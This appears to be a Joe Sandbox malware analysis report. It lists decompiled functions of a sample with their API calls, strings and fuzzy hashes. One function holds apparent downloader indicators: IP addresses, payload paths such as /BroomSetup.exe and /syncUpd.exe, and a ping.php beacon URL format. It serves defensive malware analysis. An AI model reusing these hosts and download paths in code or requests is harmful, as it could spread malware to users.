Function 004092EF Relevance: 1.5, APIs: 1, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 004099F7

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 4cd162317631fa8abaabd01153738b7b4d237ec2651a070063b632117b5f5383
Instruction ID: 4edbe2e7c06096c33f318cac8afdc154d5a9a5f331c65f3baa8a2569a2ccd8be
Opcode Fuzzy Hash: 4cd162317631fa8abaabd01153738b7b4d237ec2651a070063b632117b5f5383
Instruction Fuzzy Hash: BCE09B74404209B5CB047966DD1659E77581A04354B10413BB814B51E3EF78DD96D59D

Uniqueness

Uniqueness Score: -1.00%

Function 004278B5 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000000,00427617,00000000,00000000,00000000,?,004274B2,00000140,00000000,00000000), ref: 004278CC

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d395e761047e3a268a552e5af6b6108e3651bb0fd0ad0ed5b70ad6f34870c368
Instruction ID: b70d27932243d0438f1860da660e0b6b3794fb22fa806e986c844cd94611fdbe
Opcode Fuzzy Hash: d395e761047e3a268a552e5af6b6108e3651bb0fd0ad0ed5b70ad6f34870c368
Instruction Fuzzy Hash: DCE01731258761AEEB31AE3CBC49BD6BBD19B00710F09889AB1D5A29D5D2A4AC81D784

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1C9 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,00000000), ref: 0041A1E6

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bd42337a44447ba2151f59affbf5c2e61005a33964c83f171b21e20b2be3fb6a
Instruction ID: cd2fa91bf996e1687ed1878e6b6fa31dd22c85af24bc0c415d890da94ea3f947
Opcode Fuzzy Hash: bd42337a44447ba2151f59affbf5c2e61005a33964c83f171b21e20b2be3fb6a
Instruction Fuzzy Hash: 25D06C3214014DBBDF128F84DC46EDA3BAAFB48754F014010BA1856120C732E872AB94

Uniqueness

Uniqueness Score: -1.00%

Function 02EF7E55 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 02EF7EA6

Memory Dump Source

Source File: 00000000.00000002.1985952795.0000000002EF7000.00000040.00000020.00020000.00000000.sdmp, Offset: 02EF7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ef7000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ab1f8e6fdd6e84bfe2a0117fb2a12e5c7558d5e69d9120913af8c3274e1de539
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 7F113C79A40208EFDB01DF98C985E99BBF5AF08350F15C0A5FA489B361D371EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02E24F37 Relevance: 53.7, APIs: 1, Strings: 29, Instructions: 1217COMMON

Download Yara Rule

APIs

Part of subcall function 02E2A041: __EH_prolog.LIBCMT ref: 02E2A046

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00440EF4), ref: 02E24FFE

Part of subcall function 02E2633F: __EH_prolog.LIBCMT ref: 02E26344
Part of subcall function 02E2633F: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 02E26426

Strings

P, xrefs: 02E25F9E
six, xrefs: 02E25173, 02E25189
P, xrefs: 02E261F6
one, xrefs: 02E2503D, 02E25053
/syncUpd.exe, xrefs: 02E25B30, 02E25BB2, 02E25C0C
/1/Package.zip, xrefs: 02E25D90, 02E25E2A, 02E25F96
P, xrefs: 02E25C14
seven, xrefs: 02E251A7, 02E251D5
185.172.128.228, xrefs: 02E257F9, 02E2589F, 02E25A1E
185.172.128.228, xrefs: 02E26034, 02E260E0, 02E261E5
four, xrefs: 02E250F3, 02E25115
185.172.128.59, xrefs: 02E25A75, 02E25B0F, 02E25C03
run.exe, xrefs: 02E25E4B, 02E25E91, 02E2600C
P, xrefs: 02E25A2E
/BroomSetup.exe, xrefs: 02E260FA, 02E261A0, 02E261EE
/cpa/ping.php?substr=%s&s=ab&sub=%s, xrefs: 02E25309, 02E2549F, 02E254B6
nine, xrefs: 02E2523F, 02E25261
P, xrefs: 02E255FC
three, xrefs: 02E250A7, 02E250D5
Installed, xrefs: 02E25750, 02E257AE
SOFTWARE\BroomCleaner, xrefs: 02E25642, 02E25736
fgh5err456ytf, xrefs: 02E25EB0, 02E25F3E, 02E26007
eight, xrefs: 02E251F3, 02E25221
five, xrefs: 02E25133, 02E25155
185.172.128.90, xrefs: 02E25504, 02E2559E, 02E255EC
two, xrefs: 02E25073, 02E25089
note.padd.cn.com, xrefs: 02E25CBE, 02E25D76, 02E25F8D
/ping.php?substr=%s, xrefs: 02E258C0, 02E25996, 02E259AE
ten, xrefs: 02E2527F, 02E25295

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: H_prolog$FileIos_base_dtorModuleNamestd::ios_base::_
String ID: /1/Package.zip$/BroomSetup.exe$/cpa/ping.php?substr=%s&s=ab&sub=%s$/ping.php?substr=%s$/syncUpd.exe$185.172.128.228$185.172.128.228$185.172.128.59$185.172.128.90$Installed$P$P$P$P$P$SOFTWARE\BroomCleaner$eight$fgh5err456ytf$five$four$nine$note.padd.cn.com$one$run.exe$seven$six$ten$three$two
API String ID: 2531350358-1041584880
Opcode ID: 5214a6c3eb665ffd80ba4afd0edb9f02e612797251cca9a781e77353017b879e
Instruction ID: 698998e793e34250460e44e1a9d569bb17f5a41c7022b4e479ffaeab179346a7
Opcode Fuzzy Hash: 5214a6c3eb665ffd80ba4afd0edb9f02e612797251cca9a781e77353017b879e
Instruction Fuzzy Hash: 8AA2E61844B2D0AEC711F7F8689558E2BE25B53340F64F4E9E1A42F3A3C97441ADCB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00420B2B Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 00416EA9: GetLastError.KERNEL32(?,?,0040E4C0,?,?,?,0040EBBD,?), ref: 00416EAD
Part of subcall function 00416EA9: _free.LIBCMT ref: 00416EE0
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F21
Part of subcall function 00416EA9: _abort.LIBCMT ref: 00416F27

Part of subcall function 00416EA9: _free.LIBCMT ref: 00416F08
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F15

GetUserDefaultLCID.KERNEL32 ref: 00420C37
IsValidCodePage.KERNEL32(00000000), ref: 00420C92
IsValidLocale.KERNEL32(?,00000001), ref: 00420CA1
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00420CE9
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00420D08

Strings

P(C, xrefs: 00420BE4

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID: P(C
API String ID: 745075371-561334562
Opcode ID: a47212187315c3dd152d7f48e30e900240738e2785dc44dedbcce4f07e6fee66
Instruction ID: 7c70a2a32a72add04bdbbb15d32633edaa37b4955ea95851395b5fb09bc8fce6
Opcode Fuzzy Hash: a47212187315c3dd152d7f48e30e900240738e2785dc44dedbcce4f07e6fee66
Instruction Fuzzy Hash: 4B5193B1B002259BDB24DFA6EC45ABF77F8BF14700F54412AE504E7242D7789940CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004216CC Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00421812

Strings

1#QNAN, xrefs: 00422A18
1#INF, xrefs: 00422A1F
1#SNAN, xrefs: 00422A11
1#IND, xrefs: 00422A0A

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 74b003ce4dd971367dc2374a7d597abab036d602bdd7624e0c37d7090529be17
Instruction ID: eb449c007f5c04c8bfbb835c41eb6ed8d7fd5e00c51dd6e4829ac236e6549b01
Opcode Fuzzy Hash: 74b003ce4dd971367dc2374a7d597abab036d602bdd7624e0c37d7090529be17
Instruction Fuzzy Hash: 62C24C71E086289FDB25CE28ED407EAB7B5EB54304F5541EBD80DE7240E7B8AE818F45

Uniqueness

Uniqueness Score: -1.00%

Function 004201F3 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00416EA9: GetLastError.KERNEL32(?,?,0040E4C0,?,?,?,0040EBBD,?), ref: 00416EAD
Part of subcall function 00416EA9: _free.LIBCMT ref: 00416EE0
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F21
Part of subcall function 00416EA9: _abort.LIBCMT ref: 00416F27

IsValidCodePage.KERNEL32(00000000), ref: 004202D5
_wcschr.LIBVCRUNTIME ref: 00420365
_wcschr.LIBVCRUNTIME ref: 00420373
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 00420416

Strings

P(C, xrefs: 00420266

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID: P(C
API String ID: 4212172061-561334562
Opcode ID: ba712cd5833e651dc35df03b30b611633ee63d07a105420c198fbb50c9644c02
Instruction ID: 5378dee8baf6fc2bccecee86df63a20619f43e7fc0bbeb60dc9d9c17ec64c1e6
Opcode Fuzzy Hash: ba712cd5833e651dc35df03b30b611633ee63d07a105420c198fbb50c9644c02
Instruction Fuzzy Hash: F361E571700215ABD724EB65EC46BAB77E8EF44314F50006FF909D7282EA78ED4187AC

Uniqueness

Uniqueness Score: -1.00%

Function 02E20BBE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 02E20C57
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002), ref: 02E20C80
GetACP.KERNEL32 ref: 02E20C95

Strings

OCP, xrefs: 02E20C12
ACP, xrefs: 02E20BDC

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: d22a5852c5426f877be6ce38e8ba29643da9bca0854ee50c7a77d424336bc7ea
Instruction ID: d1b47de2f09fc511dbb0bf57eb7c43bcdd0ebee69ac7482d8b9fdf36b80f2667
Opcode Fuzzy Hash: d22a5852c5426f877be6ce38e8ba29643da9bca0854ee50c7a77d424336bc7ea
Instruction Fuzzy Hash: 4921A4B2680124AAD7348F54C943BE773A7FB64A58B46F464E80BC7180E732DA4DC794

Uniqueness

Uniqueness Score: -1.00%

Function 00420957 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 004209F0
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002), ref: 00420A19
GetACP.KERNEL32 ref: 00420A2E

Strings

ACP, xrefs: 00420975
OCP, xrefs: 004209AB

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: d22a5852c5426f877be6ce38e8ba29643da9bca0854ee50c7a77d424336bc7ea
Instruction ID: 3798bade73bd27e1b7da697b03286a4a3a1f459875ed5430be5d681d41fa6aac
Opcode Fuzzy Hash: d22a5852c5426f877be6ce38e8ba29643da9bca0854ee50c7a77d424336bc7ea
Instruction Fuzzy Hash: 5121C762740224E7E7308F14E901B97B3E7EB64B50BD68066E84AD7213E73ADD81C358

Uniqueness

Uniqueness Score: -1.00%

Function 02E20D92 Relevance: 7.7, APIs: 5, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 02E17110: GetLastError.KERNEL32(?,?,02E0E727,?,?,?,02E0EE24,?), ref: 02E17114
Part of subcall function 02E17110: _free.LIBCMT ref: 02E17147
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E17188
Part of subcall function 02E17110: _abort.LIBCMT ref: 02E1718E

Part of subcall function 02E17110: _free.LIBCMT ref: 02E1716F
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E1717C

GetUserDefaultLCID.KERNEL32 ref: 02E20E9E
IsValidCodePage.KERNEL32(00000000), ref: 02E20EF9
IsValidLocale.KERNEL32(?,00000001), ref: 02E20F08
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 02E20F50
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 02E20F6F

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: a47212187315c3dd152d7f48e30e900240738e2785dc44dedbcce4f07e6fee66
Instruction ID: abfcb538f4d6cad397039b863456348d3e76a89350e76251d770c7ce4bfa37e8
Opcode Fuzzy Hash: a47212187315c3dd152d7f48e30e900240738e2785dc44dedbcce4f07e6fee66
Instruction Fuzzy Hash: A1519371A90229AFDF20DFA5CC40ABE73B9FF24704F04942AE906E71D0D7709988CB60

Uniqueness

Uniqueness Score: -1.00%

Function 004279A8 Relevance: 6.5, Strings: 5, Instructions: 261COMMON

Download Yara Rule

Strings

need dictionary, xrefs: 00427C9B
incorrect header check, xrefs: 00427A7A
incorrect data check, xrefs: 00427BA8
invalid window size, xrefs: 00427A2C
unknown compression method, xrefs: 00427A0D

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID: incorrect data check$incorrect header check$invalid window size$need dictionary$unknown compression method
API String ID: 0-2151277842
Opcode ID: 46f7918ca218e2041763bc36c477184910c87e274a5bb23c2dc972bd598bae6b
Instruction ID: 2253ba09226b6e6a4ae344a30eb477d84152e7b19a60787c4652e596c18b060e
Opcode Fuzzy Hash: 46f7918ca218e2041763bc36c477184910c87e274a5bb23c2dc972bd598bae6b
Instruction Fuzzy Hash: 1BB1E3B1604B10CFD334CF19D480A22BBF0FF49319B648A5ED8AA8B791D779E846CB54

Uniqueness

Uniqueness Score: -1.00%

Function 02E2045A Relevance: 6.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 02E17110: GetLastError.KERNEL32(?,?,02E0E727,?,?,?,02E0EE24,?), ref: 02E17114
Part of subcall function 02E17110: _free.LIBCMT ref: 02E17147
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E17188
Part of subcall function 02E17110: _abort.LIBCMT ref: 02E1718E

IsValidCodePage.KERNEL32(00000000), ref: 02E2053C
_wcschr.LIBVCRUNTIME ref: 02E205CC
_wcschr.LIBVCRUNTIME ref: 02E205DA
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 02E2067D

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID:
API String ID: 4212172061-0
Opcode ID: ba712cd5833e651dc35df03b30b611633ee63d07a105420c198fbb50c9644c02
Instruction ID: be3889e85c255d41fed7227b2084ecc3a7f90042038dea797a89126ba3bd3ad4
Opcode Fuzzy Hash: ba712cd5833e651dc35df03b30b611633ee63d07a105420c198fbb50c9644c02
Instruction Fuzzy Hash: 3961F871680326AADB24AB74CC45BBBB3A8EF54714F14D43AF906D75C1EB70E548CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 004289DB Relevance: 5.7, Strings: 4, Instructions: 723COMMON

Download Yara Rule

Strings

invalid bit length repeat, xrefs: 0042916B
invalid block type, xrefs: 00428A97
too many length or distance symbols, xrefs: 00429122
invalid stored block lengths, xrefs: 00429111

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid block type$invalid stored block lengths$too many length or distance symbols
API String ID: 0-26694007
Opcode ID: 2a9f216b5488206d6db624113d77c6792d6d4279535bef4d8e590f91756a64fd
Instruction ID: af34d05607518c41c8fd8f54a359d1b19ee3e46e9a2e0eec8e984a0794ae87e0
Opcode Fuzzy Hash: 2a9f216b5488206d6db624113d77c6792d6d4279535bef4d8e590f91756a64fd
Instruction Fuzzy Hash: 0852F5B1A01219DFCF08CF69D9906ADBBF1FB48310F64816AD815EB349D738AA51CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004205DE Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00416EA9: GetLastError.KERNEL32(?,?,0040E4C0,?,?,?,0040EBBD,?), ref: 00416EAD
Part of subcall function 00416EA9: _free.LIBCMT ref: 00416EE0
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F21
Part of subcall function 00416EA9: _abort.LIBCMT ref: 00416F27

Part of subcall function 00416EA9: _free.LIBCMT ref: 00416F08
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F15

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00420632
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00420683
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00420743

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorInfoLastLocale$_free$_abort
String ID:
API String ID: 2829624132-0
Opcode ID: deb70456eb15c8a43eb0911c5959f0a86612cde476263536f8c601744d2f029b
Instruction ID: 379bd1fdae3d28ccaa6a9680453e0e1f0685ef78986492dcd4d13a6cd33759c0
Opcode Fuzzy Hash: deb70456eb15c8a43eb0911c5959f0a86612cde476263536f8c601744d2f029b
Instruction Fuzzy Hash: B26195716001279BDF289F25DC81BBBB7E4EF44354F50407AE805C6682E778E991CB58

Uniqueness

Uniqueness Score: -1.00%

Function 02E10A32 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 02E10B2A
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02E10B34
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 02E10B41

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ec6191ee5ee7cb0a6d5056c8d07597c2a9f0480bbf079672d45fca85f7c07474
Instruction ID: b2bda07909207870fa65cae880c66e96589360e7eb15446ea4cb139ebe28429e
Opcode Fuzzy Hash: ec6191ee5ee7cb0a6d5056c8d07597c2a9f0480bbf079672d45fca85f7c07474
Instruction Fuzzy Hash: 7831B575941218DBCB21DF64D888B9CBBB4FF08714F5091EAE81CA7291E7709BC58F44

Uniqueness

Uniqueness Score: -1.00%

Function 004107CB Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 004108C3
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 004108CD
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 004108DA

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ec6191ee5ee7cb0a6d5056c8d07597c2a9f0480bbf079672d45fca85f7c07474
Instruction ID: aab7ed8eb40a69f88c6e9c1af567bdd96e3bb31c7e530fd1e6d66ee007d621a0
Opcode Fuzzy Hash: ec6191ee5ee7cb0a6d5056c8d07597c2a9f0480bbf079672d45fca85f7c07474
Instruction Fuzzy Hash: 3D31C474941219DBCB21DF65D8887CDB7B8BF08310F5041EAE41CA7291EB749F858F89

Uniqueness

Uniqueness Score: -1.00%

Function 02E13DDE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,02E13DB4,00000003,0043D770,0000000C,02E13F0B,00000003,00000002,00000000,?,02E12F62,00000003), ref: 02E13DFF
TerminateProcess.KERNEL32(00000000,?,02E13DB4,00000003,0043D770,0000000C,02E13F0B,00000003,00000002,00000000,?,02E12F62,00000003), ref: 02E13E06
ExitProcess.KERNEL32 ref: 02E13E18

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c3238ba4349e22148297b51e772f0d5dcb5e34eb697bf684f66df5aa1d9a9f15
Instruction ID: 402c73e59f3ef58816fe6228f8f66325bf210ed92fa3bd5a41ee964831e967f4
Opcode Fuzzy Hash: c3238ba4349e22148297b51e772f0d5dcb5e34eb697bf684f66df5aa1d9a9f15
Instruction Fuzzy Hash: 2FE04631240708ABCF216F54CC4AA5D3F2AEB40785F408074F8059A132CB35D963CE84

Uniqueness

Uniqueness Score: -1.00%

Function 02E0092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 02E0095F
GetProcAddress., xrefs: 02E009DC, 02E009DF, 02E009E4
l, xrefs: 02E00966

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 464d118ffa2f5d929a502b6ca4b0e1fae8c003652b246f6a785e6e2c2c51128e
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: E33149B6900609DFDB10CF99C880BAEBBF5FF48328F55904AD441A7250D771EA85CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417674 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,?,?,00000004), ref: 004176C7

Strings

GetLocaleInfoEx, xrefs: 00417685, 0041768F

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 7aecff79fcee3f1ccb84e1b00f5f7f4458bbc476b77add030e51064b8e17d109
Instruction ID: 8cac55cbe91941e2a733e6c0a929415840dbc05d367dd6234d93a5dab2e22f08
Opcode Fuzzy Hash: 7aecff79fcee3f1ccb84e1b00f5f7f4458bbc476b77add030e51064b8e17d109
Instruction Fuzzy Hash: BAF0F631B44208BBCB116FA5DC02FAE3F61EF08710F50006AFC0566261CA798D10D69C

Uniqueness

Uniqueness Score: -1.00%

Function 02E12797 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b574743e6a46450f45c45e959354e8ded3e3f10b8a00fd2b4ae52908c22c61bb
Instruction ID: e90c8c5742e366025c1ee649621febab17244a2d2ecec9eb86936fedc2370d14
Opcode Fuzzy Hash: b574743e6a46450f45c45e959354e8ded3e3f10b8a00fd2b4ae52908c22c61bb
Instruction Fuzzy Hash: CB023D71E402299FDF14CFA9C890AADB7F1FF88318F15926AD919E7384D731A941CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00412530 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe588eef8234d3b6893e3cefe9501fe334aa8d143232e97c59f8e1492d3f547d
Instruction ID: 1e513cd0ef2a4ae9885352a461d963e14bddd047297c06de771811fb1c7e17c4
Opcode Fuzzy Hash: fe588eef8234d3b6893e3cefe9501fe334aa8d143232e97c59f8e1492d3f547d
Instruction Fuzzy Hash: 46022B71E002199FDF14CFA9D9806EEBBF1FF88314F25826AD819E7380D774A9518B84

Uniqueness

Uniqueness Score: -1.00%

Function 02E1BC42 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,00000000,?,00000008,?,?,02E1BC3D,00000000,?,00000008,?,?,02E23A26,00000000), ref: 02E1BE6F

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
